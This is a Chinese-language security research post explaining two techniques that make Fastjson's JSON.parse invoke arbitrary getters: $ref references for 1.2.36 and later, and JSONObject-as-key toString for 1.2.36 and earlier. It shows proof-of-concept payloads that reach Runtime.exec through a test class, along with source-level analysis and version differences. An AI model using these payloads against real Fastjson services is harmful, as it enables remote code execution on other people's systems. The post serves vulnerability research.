0%

Fastjson parse突破特殊getter调用限制

众所周知,在 Fastjson中 parse 会识别并调用目标类的特定 setter 方法及特定的 getter 方法,特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

那么对于一般的不满足条件的getter方法能否进行调用呢

$ref 调用 getter

当Fastjson>=1.2.36时,我们可以使用$ref的方式来调用任意的getter

什么是$ref

$ref 是fastjson里的引用,引用之前出现的对象

循环引用 · alibaba/fastjson Wiki (github.com)

下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.vuln;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test {
private Integer id;

public Integer getId() {
return id;
}

public void setId(Integer id) {
this.id = id;
}

public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"id\":\"123\"},{\"$ref\":\"$[0]\"}]";
Object o = JSON.parse(payload);
System.out.println(o);
}
}

JSON.parse后的对象如下

image

$ref 的值是符合JSONPath语法的,详细可以参考:https://goessner.net/articles/JsonPath/

调用演示

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.vuln;

import java.io.IOException;

public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

触发代码

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"open -a Calculator\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
}

image

可以看到getCmd方法是不满足特殊getter条件的,不能自动被调用,这里突破了这个限制

调用分析

到getCmd的调用栈

image

首先分析fastjson对$ref 的处理逻辑

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

当遇到引用$ref这种方式,会增加一个resolveTask,留在parse结束后进行处理

image

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

ref的value尝试通过getObject获取,这里获取不到,refValue为null,进入JSONPath.eval ,这是JSONPath解析函数,根据ref从value种获取对应的值

image

JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter

com.alibaba.fastjson.serializer.FieldSerializer#getPropertyValue

image

image

为什么小于1.2.36 版本不行

1.2.35 版本为例,差异主要在

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

要求refValue不为null,且必须时JSONObject类,根据上面的分析,我们的POC获取到的refValue为null,寄

image

JSONObject 调用 getter

当Fastjson<=1.2.36时,可以使用这种方法调用任意getter方法,和第一种方法刚好互补

这个方法来自于Tomcat BasicDataSource利用链,四哥的说法是这条链只能用于Fastjson 1.2.24及更低版本(是这个链的利用),可以参考四哥和kingx的分析

Fastjson BasicDataSource攻击链简介 – 绿盟科技技术博客 (nsfocus.net)

Java动态类加载,当FastJson遇到内网 – KINGX

调用演示

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.vuln;

import java.io.IOException;

public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

触发代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"com.vuln.Test\",\n" +
" \"cmd\": \"open -a Calculator\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
Object o = JSON.parse(payload);
}
}

image

调用分析

巧妙利用了JSONObject.toStringJSONObject 继承了JSON抽象类

com.alibaba.fastjson.JSON#toString,进行序列化操作,object 转 str

image

Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,这里如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考

ASM在FastJson中的应用 - SegmentFault 思否

image

那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

image

Fastjson在解析的时候如果遇到{,会加一层JSONObject,那么只需将key构造成JSONObject,类似{{some}:x} 即可

com.alibaba.fastjson.parser.DefaultJSONParser#parse

image

为什么大于1.2.36版本不行

1.2.37 版本为例

com.alibaba.fastjson.parser.DefaultJSONParser#parse

直接入口点掐了,不再调用toString函数

image

参考链接